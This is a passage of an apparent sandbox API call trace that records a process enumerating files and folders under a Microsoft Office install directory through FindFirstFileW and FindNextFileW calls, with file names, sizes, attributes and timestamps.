ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x16a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AIRWER.DLL", cAlternateFileName="")) returned 1 [0284.476] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x575324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x575324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59b433, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0284.476] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="APC7B0~1.DLL")) returned 1 [0284.477] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x637c06e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x637c06e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x637c06e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1 [0284.477] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1dbe1c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1dbe1c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1dbe1c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0284.477] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0284.477] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3a818c4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3a818c4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3aa7b04, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0284.477] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb6ed802, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb6ed802, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb713a45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0284.478] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb94fd84, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb94fd84, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb94fd84, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0284.478] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefdda943, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefdda943, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefdda943, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0284.478] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c8cf9c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c8cf9c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0284.478] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf34fd148, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0284.478] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0efd867, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0284.478] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0284.479] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0fbc434, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0284.479] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0284.479] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf475131d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0284.479] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ad77c9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ad77c9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0284.479] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0284.479] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0e189f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0284.479] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf158c060, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0284.480] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf31b5d3e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf31b5d3e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf381e2b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0284.480] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41f3e26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0284.480] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0xe261555e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe261555e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe261555e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0284.480] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0xe261555e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe261555e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe261555e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0284.480] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0xe261555e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe261555e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe261555e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0284.480] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3b191de, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x247c69f3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x248855b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c1278, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CMigrate.exe", cAlternateFileName="")) returned 1 [0284.480] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0284.481] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f8c60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0284.481] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5b22c4e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc90, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CSISYNCCLIENT.EXE", cAlternateFileName="CSISYN~1.EXE")) returned 1 [0284.481] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc461cf97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc461cf97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc461cf97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0284.481] GetProcessHeap () returned 0xaf0000 [0284.481] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0284.481] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc461cf97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc461cf97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc461cf97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0284.481] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc461cf97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc461cf97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc461cf97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.481] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc461cf97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc461cf97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc48593e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b8840, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0284.482] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc461cf97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc461cf97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc48593e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b8840, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0284.482] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0284.482] GetProcessHeap () returned 0xaf0000 [0284.482] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0284.482] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1 [0284.482] GetProcessHeap () returned 0xaf0000 [0284.482] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0284.482] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0284.482] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.482] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24bcc96d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d70354, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0284.483] GetProcessHeap () returned 0xaf0000 [0284.483] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a6270 [0284.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24bcc96d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d70354, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0284.484] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24bcc96d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d70354, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.484] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24cd79fe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0284.484] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24cd79fe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0284.484] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, 